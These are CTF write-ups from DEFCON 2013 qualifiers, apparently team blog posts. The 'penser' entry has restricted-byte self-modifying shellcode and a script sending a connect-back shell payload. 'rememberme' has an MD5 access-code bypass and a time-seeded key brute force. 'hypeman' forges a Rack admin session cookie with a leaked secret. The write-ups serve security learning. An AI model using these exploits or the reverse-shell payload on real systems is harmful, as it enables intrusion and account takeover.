grandprix - DEFCON CTF quals 2013

Posted by sebbe on June 20, 2013, 11:35 p.m.

In the 3 point challenge in the OMGACM ("guerilla programming") track, we were given a server to connect to. Connecting to this service, it quickly became clear, that the point of the challenge was to write a program to maneuver a car through a simple ASCII racing track, while avoiding obstacles on the road (zebras, cars, ...).

To do this, we simply started at the location of our own car and did a depth-first search up to the top of the screen. As soon as we had a viable path, we drive 5 spaces along this path, and process the next board.

In order to make it a bit more interesting and fun, we also added some pretty colors to make it more interesting to watch on rather slow servers.

Racers gonna race

The final script we ended up with, pretty colors and all, was this:

#!/usr/bin/env python
from pwn import *
import re
import random

CSI = "\033["

r = remote('grandprix3.shallweplayaga.me',2038)

while r.recvline() != 'Press return to start\n':
    pass
r.send('\n')

SKIP = 5
skip = SKIP-1
a = 0

print CSI+"2J"
print CSI+"?25l"

def color(s, c):
    return CSI + c + "m" + s + CSI + "0m"

def colorize(line):
    random.seed(1+hash(re.sub(r"u", " ", line)))
    line = re.sub(r"T", color("T", "1;32;42"), line)
    line = re.sub(r"Z", color("Z", "30;47"), line)
    line = re.sub(r"u", color(r"u", "1;33"), line)
    line = re.sub(r"~", color(r"~", "32"), line)
    line = re.sub(r"r", color(r"r", "31"), line)
    line = re.sub(r"X", color(r"X", "1;41;37"), line)

    carcolors = ["1;30", "1;31", "32", "1;32", "33", "34", "1;34", "35", "1;35", "1;36", "36", "37"]
    line = re.sub(r"c", color(r"c", random.choice(carcolors)), line)

    personcolors = ["31;44", "31;43","31;46",  "33;42", "33;41", "33;44", "33;35", "33;36", "1;37;41", "1;37;42", "1;37;44", "1;37;45", "1;37;46"]
    line = re.sub(r"P", color(r"P", random.choice(personcolors)), line)
    return line

while True:
    print CSI + "0;0H"

    a += 1
    s = []
    cnt = 0
    while cnt < 11:
        line = r.recvline().strip()
        if len(line) == 0: continue
        cnt += 1
        print colorize(line)
        s.append(line)
        if line == 'Too slow!':
            print "Got 'Too slow!' after", a, "turns"
            exit(0)

    print "Turn: %d" % a

    skip = (skip+1) % SKIP
    if skip > 0: continue

    ourpos = len(s)-2
    index = s[ourpos].find('u')

    def do_search(row,prev_pos,path,paths):
        if row == 1:
            paths.append(path)
            raise None

        cur = s[row]

        if cur[prev_pos] == ' ' or cur[prev_pos] == '=':
            new_path = path + ' '
            do_search(row-1, prev_pos, new_path, paths)
        if prev_pos > 1 and (cur[prev_pos-1] == ' ' or cur[prev_pos-1] == '='):
            new_path = path + 'l'
            do_search(row-1, prev_pos-1, new_path, paths)
        if prev_pos < 5 and (cur[prev_pos+1] == ' ' or cur[prev_pos+1] == '='):
            new_path = path + 'r'
            do_search(row-1, prev_pos+1, new_path, paths)

    ps = []
    try:
        do_search(ourpos-1, index, '', ps)
    except:
        pass

    apath = ps[0]
    msg = ""
    for i in range(SKIP):
        msg += "%s\n" % apath[i]
    r.send(msg)

penser - DEFCON quals 2013

Posted by thorlund on June 20, 2013, 1:04 a.m.

The reversing was fairly trivial.

First the length of what was about to be received should be sent, with the added requirement that the length could not exceed 0x1000 bytes.

Then a buffer of that size was malloc'ed and received into.

mmap was used to make room for a buffer twice the size of the input and the received input was copied into the mmap'ed memory.

This was however just a decoy, as both buffers were passed on to a function located at 0x40124c, which copied each byte from the malloced into every second position of the mmapped buffer. The spaces were filled with null bytes, so if 41414141 was sent to the server, the mmap'ed buffer would contain 4100410041004100.

Two cases would stop this copying:

  1. if one of the bytes were less than 0x1f (with the exception of '\n'). This was a hard restriction because it would cause the function to return -1 and stop running.
  2. if a null byte was encountered or if the buffer was filled the copying would stop, but the rest of the program would continue running.

If the function returns correctly, the program will call the mmap'ed buffer.

So first there is a need to craft shellcode, in which each second byte is a null byte and no byte value is less than 0x1f or larger than 7f (signed compare).

There is however some good news, as the stack contained goodies. A pointer to the forgotten lands (the malloc'ed buffer) is located on the stack, free has been called on it, but the later portions of the received data is still there.

With this in mind, we needed to craft shellcode to do the following:

 1. Retrieve the pointer
 2. Add some offset
 3. Jump to the modified pointer

As all jumps have opcodes with values above 0x7f, we needed to change the last requirement into writing some code that makes some self-modifying shellcode.

00000000  59                pop rcx
00000001  004500            add [rbp+0x0],al ;JUNK
00000004  59                pop rcx
00000005  004500            add [rbp+0x0],al ;JUNK
00000008  59                pop rcx
00000009  004500            add [rbp+0x0],al ;JUNK
0000000C  59                pop rcx
0000000D  004500            add [rbp+0x0],al ;JUNK
00000010  5F                pop rdi ; rdi now contains
00000011  004500            add [rbp+0x0],al ;JUNK
00000014  54                push rsp
00000015  004500            add [rbp+0x0],al ;JUNK
00000018  5B                pop rbx
00000019  004500            add [rbp+0x0],al ;JUNK
0000001C  59                pop rcx ; rbx now points at any value pushed to the stack
0000001D  004500            add [rbp+0x0],al ;JUNK
00000020  6800560041        push dword 0x41005600 ; 56 is the offset to 7f
00000025  004500            add [rbp+0x0],al ;JUNK
00000028  59                pop rcx; ch contains 56
00000029  004500            add [rbp+0x0],al ;JUNK
0000002C  52                push rdx ; rdx contains a pointer to this code
0000002D  002B              add [rbx],ch;
0000002F  004500            add [rbp+0x0],al ;JUNK
00000032  5E                pop rsi; rsi = pointer to 7f
00000033  004500            add [rbp+0x0],al ;JUNK
00000036  6800440041        push dword 0x41004400 ; 44+7f = ret
0000003B  004500            add [rbp+0x0],al ;JUNK
0000003E  59                pop rcx
0000003F  002E              add [rsi],ch ; write the ret
00000041  004500            add [rbp+0x0],al ;JUNK
00000044  68002D0041        push dword 0x41002d00; offset into the "real" shellcode
00000049  004500            add [rbp+0x0],al ;JUNK
0000004C  58                pop rax
0000004D  004500            add [rbp+0x0],al ;JUNK
00000050  57                push rdi
00000051  0023              add [rbx],ah; add the offset to the malloced pointer
00000053  004500            add [rbp+0x0],al ;JUNK
00000056  7F                db 0x7f

All there is left to do now is to make the final python script:

from pwn import *
splash()
context('amd64','linux','ipv4')

HOST = '127.0.0.1'
PORT = 8273


MY_HOST = '127.0.0.1'
MY_PORT = 1337

sock  = remote(HOST,PORT)
payload = ''
with open('init.asm') as init:
    payload += asm(init.read())

assert(payload)     
if any(x <> 0 for x in payload[1::2]):
    print "you dear sir, have failed"
    exit(-1)

payload = payload[::2]
payload += chr(0)
payload += asm(shellcode.connectback(MY_HOST,MY_PORT))

sock.send(p32(len(payload)))

sock.send(payload)

From the shell: cat key The key is: TBDHelloooookdkdkiekdiekdiek

rememberme - DEFCON CTF quals 2013

Posted by sebbe on June 19, 2013, 2:51 p.m.

Challenge description:

http://rememberme.shallweplayaga.me/

The challenge starts you out with links to two files usernames.txt and passwords.txt, as well as a link to a login page.

front page

The link to usernames.txt gave a list of some Star Trek characters

jeanluc
riker
spock
tiberius
bones
crusher
deana

While the link to passwords.txt gave access denied.

A brief look at the URLs,

http://rememberme.shallweplayaga.me/getfile.php?filename=usernames.txt&accesscode=60635c6862d44e8ac17dc5e144c66539
http://rememberme.shallweplayaga.me/getfile.php?filename=passwords.txt&accesscode=60635c6862d44e8ac17dc5e144c66539

revealed what we presumed to be a MD5 hash. Guessing it was a hash of the filename, we tried

http://rememberme.shallweplayaga.me/getfile.php?filename=passwords.txt&accesscode=b55dcb609a2ee6ea10518b5fd88c610e

which gave us the following password hashes:

jeanluc:$6$J/J$zezZMHwc4axqYJZk5nUHD8uwCtz7uU4EjcgVHrJsN2tW2BiMGwTPrC2sI1KD4B3O82o/nShpY0LtctLIihl5.0:15868:0:99999:7:::
riker:$6$CkoJSeZPJNPtRxZo$O5NBiK5LPXXBszv5cUf4wS4tkKCHtcBM4Q8JuzzXyz38mKQpPGrcwNST1PmjCkqGDT1wVnqCSpBWhRGFmMKRq0:15868:0:99999:7:::
spock:$6$h7AXU$ulWYM7BGY62mA/x4RjDAJzoTEQhZnMiU..OJwz/n.NbvGMT5FuDuiY3MrkWPrj6HWDuMYIPdTa/js2UO9EC6R.:15868:0:99999:7:::
tiberius:$6$g8fas1AItAy85OvS$Tfhxf6HRO0ZHC7.ekPnLssf67TM2ELpus0gCHEVQVQnoix.mnRd30EdYuF7gpoRnWfKFq.zk8pXeJk2Ug7POk0:15868:0:99999:7:::
bones:$6$t5TXeD0jYTRe.DCT$tW/qq5qxN79Isce6clU7FtNYEkzSOnFa4TqSbU4/VsPTz.uSlb.e3dvNrVUGXJCBLl51FxxCct3iJTnqC3aeq1:15868:0:99999:7:::
crusher:$6$1cNogvGgHLd9m2xP$OTV9Mtl1PmnLlZIi/iXFzBYyEBW4xLzYYTYT41FZRq45iWSsb6lJu0Vtw5WyOWSNI1NR1CECInqErn341vZOy/:15868:0:99999:7:::
deana:$6$hn4gRZq3b6PEfVmN$YckwH8..bO5awtPUX7J8994GT62S8075HWdtyRnBBYh4.AMOG6VIWng1IWYMZPAFDmDJcgOmMe5E9ZwEpGHpb0:15868:0:99999:7:::

These proved to be useless, however, since

http://rememberme.shallweplayaga.me/getfile.php?filename=login.php&accesscode=73dce75d92181ca956e737b3cb66db98

revealed the login page to be a troll:

<html> 
<title>Remember Me</title> 
<?php 
if ($_SERVER['REQUEST_METHOD'] == "POST") { 
    echo "<font color='red'> ACCESS DENIED!</font>"; 
} 
?> 
<body><form id='login' action='login.php' method='post' accept-charset='UTF-8'> 
<fieldset > 
<legend>Login</legend> 
<label for='username' >UserName:</label> 
<input type='text' name='username' id='username'  maxlength="50" /><br>

<label for='password' >Password:</label> 
<input type='password' name='password' id='password' maxlength="50" /><br>

<input type='submit' name='Submit' value='Submit' />

</fieldset> 
</form> 
</body> 
</html>

Taking a look at getfile.php through itself revealed the following:

<?php 
$value = time(); 
$filename = $_GET["filename"]; 
$accesscode = $_GET["accesscode"]; 
if (md5($filename) == $accesscode){ 
    echo "Acces granted to $filename!<br><br>"; 
    srand($value); 
    if (in_array($filename, array('getfile.php', 'index.html', 'key.txt', 'login.php', 'passwords.txt', 'usernames.txt'))==TRUE){ 
        $data = file_get_contents($filename); 
        if ($data !== FALSE) { 
            if ($filename == "key.txt") { 
                $key = rand(); 
                $cyphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC); 
                echo  base64_encode($cyphertext); 
            } 
            else{ 
                echo nl2br($data); 
            }

        } 
        else{ 
            echo "File does not exist"; 
        } 
    } 
    else{ 
        echo "File does not exist"; 
    }

} 
else{ 
    echo "Invalid access code"; 
} 
?> 
</body> 
</html>

Here we see, that the key must be stored in key.txt, and that it is encrypted with a random number, seeded based on the timestamp.

We then downloaded the key, as well as the approximate local timestamp, using the following command:

wget -O cryptotext 'http://rememberme.shallweplayaga.me/getfile.php?filename=key.txt&accesscode=65c2a527098e1f7747eec58e1925b453' && date +%s > date

Guessing that the timestamp would probably be within +- 10 seconds of the server's timestamp, we used the following script to try all the options:

<?php
$b64val = 'N9dlf5yJ2XAhLn1yCnD6f7Vi8LkBRPCmWGef5i/2UqiBDT1rZGaCKAVWqdhiv++qbudQRNew77YdJ19DFwREtA==';
$timestamp = 1371316621;

$cryptotext = base64_decode($b64val);

for ($i = -10; $i <= 10; $i++) {
    srand($timestamp+$i);
    echo mcrypt_decrypt(MCRYPT_RIJNDAEL_128, rand(), $cryptotext, MCRYPT_MODE_CBC);
    echo "\n";
}

Which yielded a bunch of garbage lines, as well as the desired key.

The key is: To boldly go where no one has gone before WMx8reNS

hypeman - DEFCON CTF quals 2013

Posted by sebbe on June 19, 2013, 2:50 p.m.

Challenge description:

http://hypeman.shallweplayaga.me/

We are greeted by a login box, as well as a link to some secrets.

welcome screen

Picking an unused username allows for login to the secrets listing.

secrets

On the list, one secret in particular stands out; the one titled "key", posted by "admin". Attempting to access it, however, reveals a runtime error with a stack trace. In the stack trace, one can see, that the only the user that posted a secret can view it.

runtime error

A bit of a read through the error page shows, that the page runs on Rack. The page also shows, that the cookie contains, among other things, the username of the current user. (In fact, anything stored in the rack.session variable, see the relevant implementation) However, this cookie is signed based on a site secret.

cookie and secret

Luckily, the runtime error was also nice enough to leak this for us. This allowed us to write the following script, which takes a valid cookie, and rewrites it to have username admin.

require 'openssl'
require 'open-uri'

session_data = "BAh7CUkiD3Nlc3Npb25faWQGOgZFRiJFN2Q5YmQ2MmZhZGQ0OWQ1ZTNkYTIz\nYjc3NWYyYTIxZTQ4YTNjZGI3ZDQ2ZTRjMmJiNDFiOTg2NDhhMjk3MDU5OEki\nDXRyYWNraW5nBjsARnsISSIUSFRUUF9VU0VSX0FHRU5UBjsARiItZWNhOGFi\nMTI2NTU5ZjRjODNkYTgzMDdmYTJhYTJhMGNiYWQ2YjExOEkiGUhUVFBfQUND\nRVBUX0VOQ09ESU5HBjsARiItZWQyYjNjYTkwYTRlNzIzNDAyMzY3YTFkMTdj\nOGIyODM5Mjg0MjM5OEkiGUhUVFBfQUNDRVBUX0xBTkdVQUdFBjsARiItOTZi\nMDU5NjMyOGFlODU5ZDYzNjdiODBkNzgzZTg2NDUwMjNiMmU4N0kiCWNzcmYG\nOwBGIkViOWU1ZjI3Y2IxOWM0ZjVkODk3MDE3NDVhY2MyMzJkODQxMjYxYWZm\nZTM5NWQ3YTU1YmEyNzAxNWM1NDg2ODY2SSIOdXNlcl9uYW1lBjsARkkiCGhl\nagY7AFQ=\n--c83a211ad1b46d84b6a9f1ec96d7bab8972d9177"

session_data, digest = session_data.split("--")
session_data = session_data.unpack("m*").first
session_data = Marshal.load(session_data)

session_data["user_name"] = "admin"

session_data = Marshal.dump(session_data)
session_data = [session_data].pack("m*")

hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, "wroashsoxDiculReejLykUssyifabEdGhovHabno", session_data)

session_data = "#{session_data}--#{hmac}"

session_data = URI::encode(session_data)
session_data = session_data.gsub("=", "%3D")

print session_data

Swapping our old cookie for the new one yielded the key. (...and not prefixed by "The key is: ", might I add!)

the key